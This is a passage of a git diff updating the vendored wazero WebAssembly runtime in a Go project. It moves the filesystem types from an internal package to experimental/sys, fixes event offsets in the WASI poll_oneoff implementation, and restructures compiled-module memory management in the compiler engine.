implements FS.OpenFile +func (UnimplementedFS) OpenFile(path string, flag Oflag, perm fs.FileMode) (File, Errno) { + return nil, ENOSYS +} + +// Lstat implements FS.Lstat +func (UnimplementedFS) Lstat(path string) (sys.Stat_t, Errno) { + return sys.Stat_t{}, ENOSYS +} + +// Stat implements FS.Stat +func (UnimplementedFS) Stat(path string) (sys.Stat_t, Errno) { + return sys.Stat_t{}, ENOSYS +} + +// Readlink implements FS.Readlink +func (UnimplementedFS) Readlink(path string) (string, Errno) { + return "", ENOSYS +} + +// Mkdir implements FS.Mkdir +func (UnimplementedFS) Mkdir(path string, perm fs.FileMode) Errno { + return ENOSYS +} + +// Chmod implements FS.Chmod +func (UnimplementedFS) Chmod(path string, perm fs.FileMode) Errno { + return ENOSYS +} + +// Rename implements FS.Rename +func (UnimplementedFS) Rename(from, to string) Errno { + return ENOSYS +} + +// Rmdir implements FS.Rmdir +func (UnimplementedFS) Rmdir(path string) Errno { + return ENOSYS +} + +// Link implements FS.Link +func (UnimplementedFS) Link(_, _ string) Errno { + return ENOSYS +} + +// Symlink implements FS.Symlink +func (UnimplementedFS) Symlink(_, _ string) Errno { + return ENOSYS +} + +// Unlink implements FS.Unlink +func (UnimplementedFS) Unlink(path string) Errno { + return ENOSYS +} + +// Utimens implements FS.Utimens +func (UnimplementedFS) Utimens(path string, atim, mtim int64) Errno { + return ENOSYS +} + +// UnimplementedFile is a File that returns ENOSYS for all functions, +// except where no-op are otherwise documented. +// +// This should be embedded to have forward compatible implementations. +type UnimplementedFile struct{} + +// Dev implements File.Dev +func (UnimplementedFile) Dev() (uint64, Errno) { + return 0, 0 +} + +// Ino implements File.Ino +func (UnimplementedFile) Ino() (sys.Inode, Errno) { + return 0, 0 +} + +// IsDir implements File.IsDir +func (UnimplementedFile) IsDir() (bool, Errno) { + return false, 0 +} + +// IsAppend implements File.IsAppend +func (UnimplementedFile) IsAppend() bool { + return false +} + +// SetAppend implements File.SetAppend +func (UnimplementedFile) SetAppend(bool) Errno { + return ENOSYS +} + +// Stat implements File.Stat +func (UnimplementedFile) Stat() (sys.Stat_t, Errno) { + return sys.Stat_t{}, ENOSYS +} + +// Read implements File.Read +func (UnimplementedFile) Read([]byte) (int, Errno) { + return 0, ENOSYS +} + +// Pread implements File.Pread +func (UnimplementedFile) Pread([]byte, int64) (int, Errno) { + return 0, ENOSYS +} + +// Seek implements File.Seek +func (UnimplementedFile) Seek(int64, int) (int64, Errno) { + return 0, ENOSYS +} + +// Readdir implements File.Readdir +func (UnimplementedFile) Readdir(int) (dirents []Dirent, errno Errno) { + return nil, ENOSYS +} + +// Write implements File.Write +func (UnimplementedFile) Write([]byte) (int, Errno) { + return 0, ENOSYS +} + +// Pwrite implements File.Pwrite +func (UnimplementedFile) Pwrite([]byte, int64) (int, Errno) { + return 0, ENOSYS +} + +// Truncate implements File.Truncate +func (UnimplementedFile) Truncate(int64) Errno { + return ENOSYS +} + +// Sync implements File.Sync +func (UnimplementedFile) Sync() Errno { + return 0 // not ENOSYS +} + +// Datasync implements File.Datasync +func (UnimplementedFile) Datasync() Errno { + return 0 // not ENOSYS +} + +// Utimens implements File.Utimens +func (UnimplementedFile) Utimens(int64, int64) Errno { + return ENOSYS +} + +// Close implements File.Close +func (UnimplementedFile) Close() (errno Errno) { return } diff --git a/vendor/github.com/tetratelabs/wazero/fsconfig.go b/vendor/github.com/tetratelabs/wazero/fsconfig.go index 560da0b37d..c28909e19e 100644 --- a/vendor/github.com/tetratelabs/wazero/fsconfig.go +++ b/vendor/github.com/tetratelabs/wazero/fsconfig.go @@ -3,7 +3,7 @@ package wazero import ( "io/fs" - "github.com/tetratelabs/wazero/internal/fsapi" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/sys" "github.com/tetratelabs/wazero/internal/sysfs" ) @@ -135,7 +135,7 @@ type FSConfig interface { type fsConfig struct { // fs are the currently configured filesystems. - fs []fsapi.FS + fs []experimentalsys.FS // guestPaths are the user-supplied names of the filesystems, retained for // error messages and fmt.Stringer. guestPaths []string @@ -152,7 +152,7 @@ func NewFSConfig() FSConfig { // clone makes a deep copy of this module config. func (c *fsConfig) clone() *fsConfig { ret := *c // copy except slice and maps which share a ref - ret.fs = make([]fsapi.FS, 0, len(c.fs)) + ret.fs = make([]experimentalsys.FS, 0, len(c.fs)) ret.fs = append(ret.fs, c.fs...) ret.guestPaths = make([]string, 0, len(c.guestPaths)) ret.guestPaths = append(ret.guestPaths, c.guestPaths...) @@ -165,21 +165,26 @@ func (c *fsConfig) clone() *fsConfig { // WithDirMount implements FSConfig.WithDirMount func (c *fsConfig) WithDirMount(dir, guestPath string) FSConfig { - return c.withMount(sysfs.NewDirFS(dir), guestPath) + return c.WithSysFSMount(sysfs.DirFS(dir), guestPath) } // WithReadOnlyDirMount implements FSConfig.WithReadOnlyDirMount func (c *fsConfig) WithReadOnlyDirMount(dir, guestPath string) FSConfig { - return c.withMount(sysfs.NewReadFS(sysfs.NewDirFS(dir)), guestPath) + return c.WithSysFSMount(&sysfs.ReadFS{FS: sysfs.DirFS(dir)}, guestPath) } // WithFSMount implements FSConfig.WithFSMount func (c *fsConfig) WithFSMount(fs fs.FS, guestPath string) FSConfig { - return c.withMount(sysfs.Adapt(fs), guestPath) + var adapted experimentalsys.FS + if fs != nil { + adapted = &sysfs.AdaptFS{FS: fs} + } + return c.WithSysFSMount(adapted, guestPath) } -func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig { - if _, ok := fs.(fsapi.UnimplementedFS); ok { +// WithSysFSMount implements sysfs.FSConfig +func (c *fsConfig) WithSysFSMount(fs experimentalsys.FS, guestPath string) FSConfig { + if _, ok := fs.(experimentalsys.UnimplementedFS); ok { return c // don't add fake paths. } cleaned := sys.StripPrefixesAndTrailingSlash(guestPath) @@ -187,7 +192,7 @@ func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig { if i, ok := ret.guestPathToFS[cleaned]; ok { ret.fs[i] = fs ret.guestPaths[i] = guestPath - } else { + } else if fs != nil { ret.guestPathToFS[cleaned] = len(ret.fs) ret.fs = append(ret.fs, fs) ret.guestPaths = append(ret.guestPaths, guestPath) @@ -197,12 +202,12 @@ func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig { // preopens returns the possible nil index-correlated preopened filesystems // with guest paths. -func (c *fsConfig) preopens() ([]fsapi.FS, []string) { +func (c *fsConfig) preopens() ([]experimentalsys.FS, []string) { preopenCount := len(c.fs) if preopenCount == 0 { return nil, nil } - fs := make([]fsapi.FS, len(c.fs)) + fs := make([]experimentalsys.FS, len(c.fs)) copy(fs, c.fs) guestPaths := make([]string, len(c.guestPaths)) copy(guestPaths, c.guestPaths) diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go index 033b70cb7d..b80c14d7d5 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go @@ -12,10 +12,8 @@ import ( "github.com/tetratelabs/wazero/api" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" "github.com/tetratelabs/wazero/internal/sys" - "github.com/tetratelabs/wazero/internal/sysfs" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" sysapi "github.com/tetratelabs/wazero/sys" @@ -415,7 +413,7 @@ func fdFilestatGetFunc(mod api.Module, fd int32, resultBuf uint32) experimentals return writeFilestat(buf, &st, filetype) } -func getExtendedWasiFiletype(file fsapi.File, fm fs.FileMode) (ftype uint8) { +func getExtendedWasiFiletype(file experimentalsys.File, fm fs.FileMode) (ftype uint8) { ftype = getWasiFiletype(fm) if ftype == wasip1.FILETYPE_UNKNOWN { if _, ok := file.(socketapi.TCPSock); ok { @@ -503,50 +501,55 @@ func fdFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) ex return experimentalsys.EBADF } - times, errno := toTimes(atim, mtim, fstFlags) + atim, mtim, errno := toTimes(sys.WalltimeNanos, atim, mtim, fstFlags) if errno != 0 { return errno } // Try to update the file timestamps by file-descriptor. - errno = f.File.Utimens(×) + errno = f.File.Utimens(atim, mtim) // Fall back to path based, despite it being less precise. switch errno { case experimentalsys.EPERM, experimentalsys.ENOSYS: - errno = f.FS.Utimens(f.Name, ×) + errno = f.FS.Utimens(f.Name, atim, mtim) } return errno } -func toTimes(atim, mtime int64, fstFlags uint16) (times [2]syscall.Timespec, errno experimentalsys.Errno) { +func toTimes(walltime func() int64, atim, mtim int64, fstFlags uint16) (int64, int64, experimentalsys.Errno) { // times[0] == atim, times[1] == mtim + var nowTim int64 + // coerce atim into a timespec if set, now := fstFlags&wasip1.FstflagsAtim != 0, fstFlags&wasip1.FstflagsAtimNow != 0; set && now { - errno = experimentalsys.EINVAL - return + return 0, 0, experimentalsys.EINVAL } else if set { - times[0] = syscall.NsecToTimespec(atim) + // atim is already correct } else if now { - times[0].Nsec = sysfs.UTIME_NOW + nowTim = walltime() + atim = nowTim } else { - times[0].Nsec = sysfs.UTIME_OMIT + atim = experimentalsys.UTIME_OMIT } // coerce mtim into a timespec if set, now := fstFlags&wasip1.FstflagsMtim != 0, fstFlags&wasip1.FstflagsMtimNow != 0; set && now { - errno = experimentalsys.EINVAL - return + return 0, 0, experimentalsys.EINVAL } else if set { - times[1] = syscall.NsecToTimespec(mtime) + // mtim is already correct } else if now { - times[1].Nsec = sysfs.UTIME_NOW + if nowTim != 0 { + mtim = nowTim + } else { + mtim = walltime() + } } else { - times[1].Nsec = sysfs.UTIME_OMIT + mtim = experimentalsys.UTIME_OMIT } - return + return atim, mtim, 0 } // fdPread is the WASI function named FdPreadName which reads from a file @@ -745,11 +748,11 @@ var fdRead = newHostFunc( // preader tracks an offset across multiple reads. type preader struct { - f fsapi.File + f experimentalsys.File offset int64 } -// Read implements the same function as documented on fsapi.File. +// Read implements the same function as documented on sys.File. func (w *preader) Read(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // less overhead on zero-length reads. @@ -942,7 +945,7 @@ const largestDirent = int64(math.MaxUint32 - wasip1.DirentSize) // // `bufToWrite` is the amount of memory needed to write direntCount, which // includes up to wasip1.DirentSize of a last truncated entry. -func maxDirents(dirents []fsapi.Dirent, bufLen uint32) (bufToWrite uint32, direntCount int, truncatedLen uint32) { +func maxDirents(dirents []experimentalsys.Dirent, bufLen uint32) (bufToWrite uint32, direntCount int, truncatedLen uint32) { lenRemaining := bufLen for i := range dirents { if lenRemaining == 0 { @@ -991,7 +994,7 @@ func maxDirents(dirents []fsapi.Dirent, bufLen uint32) (bufToWrite uint32, diren // writeDirents writes the directory entries to the buffer, which is pre-sized // based on maxDirents. truncatedEntryLen means the last is written without its // name. -func writeDirents(buf []byte, dirents []fsapi.Dirent, d_next uint64, direntCount int, truncatedLen uint32) { +func writeDirents(buf []byte, dirents []experimentalsys.Dirent, d_next uint64, direntCount int, truncatedLen uint32) { pos := uint32(0) skipNameI := -1 @@ -1233,11 +1236,11 @@ func fdWriteFn(_ context.Context, mod api.Module, params []uint64) experimentals // pwriter tracks an offset across multiple writes. type pwriter struct { - f fsapi.File + f experimentalsys.File offset int64 } -// Write implements the same function as documented on fsapi.File. +// Write implements the same function as documented on sys.File. func (w *pwriter) Write(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // less overhead on zero-length writes. @@ -1445,7 +1448,7 @@ func pathFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) sys := mod.(*wasm.ModuleInstance).Sys fsc := sys.FS() - times, errno := toTimes(atim, mtim, fstFlags) + atim, mtim, errno := toTimes(sys.WalltimeNanos, atim, mtim, fstFlags) if errno != 0 { return errno } @@ -1457,14 +1460,14 @@ func pathFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) symlinkFollow := flags&wasip1.LOOKUP_SYMLINK_FOLLOW != 0 if symlinkFollow { - return preopen.Utimens(pathName, ×) + return preopen.Utimens(pathName, atim, mtim) } // Otherwise, we need to emulate don't follow by opening the file by path. if f, errno := preopen.OpenFile(pathName, syscall.O_WRONLY, 0); errno != 0 { return errno } else { defer f.Close() - return f.Utimens(×) + return f.Utimens(atim, mtim) } } @@ -1595,7 +1598,7 @@ func pathOpenFn(_ context.Context, mod api.Module, params []uint64) experimental } fileOpenFlags := openFlags(dirflags, oflags, fdflags, rights) - isDir := fileOpenFlags&fsapi.O_DIRECTORY != 0 + isDir := fileOpenFlags&experimentalsys.O_DIRECTORY != 0 if isDir && oflags&wasip1.O_CREAT != 0 { return experimentalsys.EINVAL // use pathCreateDirectory! @@ -1642,7 +1645,7 @@ func pathOpenFn(_ context.Context, mod api.Module, params []uint64) experimental // // See https://github.com/WebAssembly/wasi-libc/blob/659ff414560721b1660a19685110e484a081c3d4/libc-bottom-half/sources/at_fdcwd.c // See https://linux.die.net/man/2/openat -func atPath(fsc *sys.FSContext, mem api.Memory, fd int32, p, pathLen uint32) (fsapi.FS, string, experimentalsys.Errno) { +func atPath(fsc *sys.FSContext, mem api.Memory, fd int32, p, pathLen uint32) (experimentalsys.FS, string, experimentalsys.Errno) { b, ok := mem.Read(p, pathLen) if !ok { return nil, "", experimentalsys.EFAULT @@ -1696,15 +1699,15 @@ func preopenPath(fsc *sys.FSContext, fd int32) (string, experimentalsys.Errno) { } } -func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags fsapi.Oflag) { +func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags experimentalsys.Oflag) { if dirflags&wasip1.LOOKUP_SYMLINK_FOLLOW == 0 { - openFlags |= fsapi.O_NOFOLLOW + openFlags |= experimentalsys.O_NOFOLLOW } if oflags&wasip1.O_DIRECTORY != 0 { - openFlags |= fsapi.O_DIRECTORY + openFlags |= experimentalsys.O_DIRECTORY return // Early return for directories as the rest of flags doesn't make sense for it. } else if oflags&wasip1.O_EXCL != 0 { - openFlags |= fsapi.O_EXCL + openFlags |= experimentalsys.O_EXCL } // Because we don't implement rights, we partially rely on the open flags // to determine the mode in which the file will be opened. This will create @@ -1713,30 +1716,30 @@ func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags fsapi // which sets O_CREAT but does not give read or write permissions will // successfully create a file when running with wazero, but might get a // permission denied error on other runtimes. - defaultMode := fsapi.O_RDONLY + defaultMode := experimentalsys.O_RDONLY if oflags&wasip1.O_TRUNC != 0 { - openFlags |= fsapi.O_TRUNC - defaultMode = fsapi.O_RDWR + openFlags |= experimentalsys.O_TRUNC + defaultMode = experimentalsys.O_RDWR } if oflags&wasip1.O_CREAT != 0 { - openFlags |= fsapi.O_CREAT - defaultMode = fsapi.O_RDWR + openFlags |= experimentalsys.O_CREAT + defaultMode = experimentalsys.O_RDWR } if fdflags&wasip1.FD_NONBLOCK != 0 { - openFlags |= fsapi.O_NONBLOCK + openFlags |= experimentalsys.O_NONBLOCK } if fdflags&wasip1.FD_APPEND != 0 { - openFlags |= fsapi.O_APPEND - defaultMode = fsapi.O_RDWR + openFlags |= experimentalsys.O_APPEND + defaultMode = experimentalsys.O_RDWR } if fdflags&wasip1.FD_DSYNC != 0 { - openFlags |= fsapi.O_DSYNC + openFlags |= experimentalsys.O_DSYNC } if fdflags&wasip1.FD_RSYNC != 0 { - openFlags |= fsapi.O_RSYNC + openFlags |= experimentalsys.O_RSYNC } if fdflags&wasip1.FD_SYNC != 0 { - openFlags |= fsapi.O_SYNC + openFlags |= experimentalsys.O_SYNC } // Since rights were discontinued in wasi, we only interpret RIGHT_FD_WRITE @@ -1748,11 +1751,11 @@ func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags fsapi const rw = r | w switch { case (rights & rw) == rw: - openFlags |= fsapi.O_RDWR + openFlags |= experimentalsys.O_RDWR case (rights & w) == w: - openFlags |= fsapi.O_WRONLY + openFlags |= experimentalsys.O_WRONLY case (rights & r) == r: - openFlags |= fsapi.O_RDONLY + openFlags |= experimentalsys.O_RDONLY default: openFlags |= defaultMode } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go index aed08b7bea..d09f30245b 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go @@ -6,6 +6,7 @@ import ( "github.com/tetratelabs/wazero/api" "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" internalsys "github.com/tetratelabs/wazero/internal/sys" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" @@ -46,7 +47,6 @@ type event struct { eventType byte userData []byte errno wasip1.Errno - outOffset uint32 } func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { @@ -90,16 +90,16 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno var blockingStdinSubs []*event // The timeout is initialized at max Duration, the loop will find the minimum. var timeout time.Duration = 1<<63 - 1 - // Count of all the clock subscribers that have been already written back to outBuf. - clockEvents := uint32(0) - // Count of all the non-clock subscribers that have been already written back to outBuf. - readySubs := uint32(0) + // Count of all the subscriptions that have been already written back to outBuf. + // nevents*32 returns at all times the offset where the next event should be written: + // this way we ensure that there are no gaps between records. + nevents := uint32(0) // Layout is subscription_u: Union // https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#subscription_u for i := uint32(0); i < nsubscriptions; i++ { inOffset := i * 48 - outOffset := i * 32 + outOffset := nevents * 32 eventType := inBuf[inOffset+8] // +8 past userdata // +8 past userdata +8 contents_offset @@ -110,12 +110,10 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno eventType: eventType, userData: userData, errno: wasip1.ErrnoSuccess, - outOffset: outOffset, } switch eventType { case wasip1.EventTypeClock: // handle later - clockEvents++ newTimeout, err := processClockEvent(argBuf) if err != 0 { return err @@ -125,7 +123,8 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno timeout = newTimeout } // Ack the clock event to the outBuf. - writeEvent(outBuf, evt) + writeEvent(outBuf[outOffset:], evt) + nevents++ case wasip1.EventTypeFdRead: fd := int32(le.Uint32(argBuf)) if fd < 0 { @@ -133,16 +132,15 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno } if file, ok := fsc.LookupFile(fd); !ok { evt.errno = wasip1.ErrnoBadf - writeEvent(outBuf, evt) - readySubs++ - continue - } else if fd == internalsys.FdStdin && !file.File.IsNonblock() { - // if the fd is Stdin, and it is in non-blocking mode, + writeEvent(outBuf[outOffset:], evt) + nevents++ + } else if fd != internalsys.FdStdin && file.File.IsNonblock() { + writeEvent(outBuf[outOffset:], evt) + nevents++ + } else { + // if the fd is Stdin, and it is in blocking mode, // do not ack yet, append to a slice for delayed evaluation. blockingStdinSubs = append(blockingStdinSubs, evt) - } else { - writeEvent(outBuf, evt) - readySubs++ } case wasip1.EventTypeFdWrite: fd := int32(le.Uint32(argBuf)) @@ -154,47 +152,46 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno } else { evt.errno = wasip1.ErrnoBadf } - readySubs++ - writeEvent(outBuf, evt) + nevents++ + writeEvent(outBuf[outOffset:], evt) default: return sys.EINVAL } } - // If there are subscribers with data ready, we have already written them to outBuf, - // and we don't need to wait for the timeout: clear it. - if readySubs != 0 { - timeout = 0 + sysCtx := mod.(*wasm.ModuleInstance).Sys + if nevents == nsubscriptions { + // We already wrote back all the results. We already wrote this number + // earlier to offset `resultNevents`. + // We only need to observe the timeout (nonzero if there are clock subscriptions) + // and return. + if timeout > 0 { + sysCtx.Nanosleep(int64(timeout)) + } + return 0 } // If there are blocking stdin subscribers, check for data with given timeout. - if len(blockingStdinSubs) > 0 { - stdin, ok := fsc.LookupFile(internalsys.FdStdin) - if !ok { - return sys.EBADF - } - // Wait for the timeout to expire, or for some data to become available on Stdin. - stdinReady, errno := stdin.File.PollRead(&timeout) - if errno != 0 { - return errno - } - if stdinReady { - // stdin has data ready to for reading, write back all the events - for i := range blockingStdinSubs { - readySubs++ - evt := blockingStdinSubs[i] - evt.errno = 0 - writeEvent(outBuf, evt) - } + stdin, ok := fsc.LookupFile(internalsys.FdStdin) + if !ok { + return sys.EBADF + } + // Wait for the timeout to expire, or for some data to become available on Stdin. + + if stdinReady, errno := stdin.File.Poll(fsapi.POLLIN, int32(timeout.Milliseconds())); errno != 0 { + return errno + } else if stdinReady { + // stdin has data ready to for reading, write back all the events + for i := range blockingStdinSubs { + evt := blockingStdinSubs[i] + evt.errno = 0 + writeEvent(outBuf[nevents*32:], evt) + nevents++ } - } else { - // No subscribers, just wait for the given timeout. - sysCtx := mod.(*wasm.ModuleInstance).Sys - sysCtx.Nanosleep(int64(timeout)) } - if readySubs != nsubscriptions { - if !mod.Memory().WriteUint32Le(resultNevents, readySubs+clockEvents) { + if nevents != nsubscriptions { + if !mod.Memory().WriteUint32Le(resultNevents, nevents) { return sys.EFAULT } } @@ -234,9 +231,9 @@ func processClockEvent(inBuf []byte) (time.Duration, sys.Errno) { // writeEvent writes the event corresponding to the processed subscription. // https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-event-struct func writeEvent(outBuf []byte, evt *event) { - copy(outBuf[evt.outOffset:], evt.userData) // userdata - outBuf[evt.outOffset+8] = byte(evt.errno) // uint16, but safe as < 255 - outBuf[evt.outOffset+9] = 0 - le.PutUint32(outBuf[evt.outOffset+10:], uint32(evt.eventType)) + copy(outBuf, evt.userData) // userdata + outBuf[8] = byte(evt.errno) // uint16, but safe as < 255 + outBuf[9] = 0 + le.PutUint32(outBuf[10:], uint32(evt.eventType)) // TODO: When FD events are supported, write outOffset+16 } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go index a3c20ad586..756c0d3913 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go @@ -2,7 +2,6 @@ package wasi_snapshot_preview1 import ( "context" - "syscall" "github.com/tetratelabs/wazero/api" "github.com/tetratelabs/wazero/experimental/sys" @@ -175,11 +174,11 @@ func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) sys.Errn switch how { case wasip1.SD_RD | wasip1.SD_WR: - sysHow = syscall.SHUT_RD | syscall.SHUT_WR + sysHow = socketapi.SHUT_RD | socketapi.SHUT_WR case wasip1.SD_RD: - sysHow = syscall.SHUT_RD + sysHow = socketapi.SHUT_RD case wasip1.SD_WR: - sysHow = syscall.SHUT_WR + sysHow = socketapi.SHUT_WR default: return sys.EINVAL } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go index a4a220596b..6c52cc4bcd 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go @@ -29,8 +29,10 @@ func main() { } case "sock": // TODO: undefined: net.FileListener + // See https://github.com/tinygo-org/tinygo/pull/2748 case "nonblock": // TODO: undefined: syscall.SetNonblock + // See https://github.com/tinygo-org/tinygo/issues/3840 } } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go index ca07a716d2..86abce4a51 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go @@ -48,6 +48,10 @@ type ( // as the underlying memory region is accessed by assembly directly by using // codesElement0Address. functions []function + + // Keep a reference to the compiled module to prevent the GC from reclaiming + // it while the code may still be needed. + module *compiledModule } // callEngine holds context per moduleEngine.Call, and shared across all the @@ -130,11 +134,13 @@ type ( // initialFn is the initial function for this call engine. initialFn *function + // Keep a reference to the compiled module to prevent the GC from reclaiming + // it while the code may still be needed. + module *compiledModule + // stackIterator provides a way to iterate over the stack for Listeners. // It is setup and valid only during a call to a Listener hook. stackIterator stackIterator - - ensureTermination bool } // moduleContext holds the per-function call specific module information. @@ -264,12 +270,27 @@ type ( } compiledModule struct { - executable asm.CodeSegment - functions []compiledFunction - source *wasm.Module + // The data that need to be accessed by compiledFunction.parent are + // separated in an embedded field because we use finalizers to manage + // the lifecycle of compiledModule instances and having cyclic pointers + // prevents the Go runtime from calling them, which results in memory + // leaks since the memory mapped code segments cannot be released. + // + // The indirection guarantees that the finalizer set on compiledModule + // instances can run when all references are gone, and the Go GC can + // manage to reclaim the compiledCode when all compiledFunction objects + // referencing it have been freed. + *compiledCode + functions []compiledFunction + ensureTermination bool } + compiledCode struct { + source *wasm.Module + executable asm.CodeSegment + } + // compiledFunction corresponds to a function in a module (not instantiated one). This holds the machine code // compiled by wazero compiler. compiledFunction struct { @@ -282,7 +303,7 @@ type ( index wasm.Index goFunc interface{} listener experimental.FunctionListener - parent *compiledModule + parent *compiledCode sourceOffsetMap sourceOffsetMap } @@ -496,13 +517,6 @@ func (e *engine) Close() (err error) { e.mux.Lock() defer e.mux.Unlock() // Releasing the references to compiled codes including the memory-mapped machine codes. - - for i := range e.codes { - for j := range e.codes[i].functions { - e.codes[i].functions[j].parent = nil - } - } - e.codes = nil return } @@ -523,9 +537,11 @@ func (e *engine) CompileModule(_ context.Context, module *wasm.Module, listeners var withGoFunc bool localFuncs, importedFuncs := len(module.FunctionSection), module.ImportFunctionCount cm := &compiledModule{ + compiledCode: &compiledCode{ + source: module, + }, functions: make([]compiledFunction, localFuncs), ensureTermination: ensureTermination, - source: module, } if localFuncs == 0 { @@ -559,7 +575,7 @@ func (e *engine) CompileModule(_ context.Context, module *wasm.Module, listeners funcIndex := wasm.Index(i) compiledFn := &cm.functions[i] compiledFn.executableOffset = executable.Size() - compiledFn.parent = cm + compiledFn.parent = cm.compiledCode compiledFn.index = importedFuncs + funcIndex if i < ln { compiledFn.listener = listeners[i] @@ -628,6 +644,8 @@ func (e *engine) NewModuleEngine(module *wasm.Module, instance *wasm.ModuleInsta parent: c, } } + + me.module = cm return me, nil } @@ -720,7 +738,7 @@ func (ce *callEngine) CallWithStack(ctx context.Context, stack []uint64) error { func (ce *callEngine) call(ctx context.Context, params, results []uint64) (_ []uint64, err error) { m := ce.initialFn.moduleInstance - if ce.ensureTermination { + if ce.module.ensureTermination { select { case <-ctx.Done(): // If the provided context is already done, close the call context @@ -741,12 +759,14 @@ func (ce *callEngine) call(ctx context.Context, params, results []uint64) (_ []u // If the module closed during the call, and the call didn't err for another reason, set an ExitError. err = m.FailIfClosed() } + // Ensure that the compiled module will never be GC'd before this method returns. + runtime.KeepAlive(ce.module) }() ft := ce.initialFn.funcType ce.initializeStack(ft, params) - if ce.ensureTermination { + if ce.module.ensureTermination { done := m.CloseModuleOnCanceledOrTimeout(ctx) defer done() } @@ -959,11 +979,11 @@ var initialStackSize uint64 = 512 func (e *moduleEngine) newCallEngine(stackSize uint64, fn *function) *callEngine { ce := &callEngine{ - stack: make([]uint64, stackSize), - archContext: newArchContext(), - initialFn: fn, - moduleContext: moduleContext{fn: fn}, - ensureTermination: fn.parent.parent.ensureTermination, + stack: make([]uint64, stackSize), + archContext: newArchContext(), + initialFn: fn, + moduleContext: moduleContext{fn: fn}, + module: e.module, } stackHeader := (*reflect.SliceHeader)(unsafe.Pointer(&ce.stack)) diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go index e6b3b0e914..37e481bdb6 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go @@ -17,6 +17,7 @@ import ( func (e *engine) deleteCompiledModule(module *wasm.Module) { e.mux.Lock() defer e.mux.Unlock() + delete(e.codes, module.ID) // Note: we do not call e.Cache.Delete, as the lifetime of @@ -158,14 +159,18 @@ func deserializeCompiledModule(wazeroVersion string, reader io.ReadCloser, modul ensureTermination := header[cachedVersionEnd] != 0 functionsNum := binary.LittleEndian.Uint32(header[len(header)-4:]) - cm = &compiledModule{functions: make([]compiledFunction, functionsNum), ensureTermination: ensureTermination} + cm = &compiledModule{ + compiledCode: new(compiledCode), + functions: make([]compiledFunction, functionsNum), + ensureTermination: ensureTermination, + } imported := module.ImportFunctionCount var eightBytes [8]byte for i := uint32(0); i < functionsNum; i++ { f := &cm.functions[i] - f.parent = cm + f.parent = cm.compiledCode // Read the stack pointer ceil. if f.stackPointerCeil, err = readUint64(reader, &eightBytes); err != nil { diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go index 2555ae3c6e..7de2b33189 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go @@ -1088,7 +1088,7 @@ func (c *amd64Compiler) compileAdd(o 